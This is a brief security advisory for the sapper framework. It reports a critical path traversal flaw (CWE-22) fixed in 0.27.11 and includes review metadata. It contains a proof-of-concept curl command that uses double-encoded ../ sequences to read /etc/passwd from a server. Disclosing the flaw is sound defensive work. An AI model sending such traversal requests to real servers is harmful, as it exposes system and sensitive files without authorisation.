Versions of sapper prior to 0.27.11 are vulnerable to Path Traversal. It is possible to access sensitive files on the server through HTTP requests containing URL-encoded ../.
You may test a sapper application running in prod mode with curl -vvv http://localhost:3000/client/750af05c3a69ddc6073a/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd.
Upgrade to version 0.27.11 or later.
{
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T19:01:20Z",
"nvd_published_at": null,
"severity": "CRITICAL"
}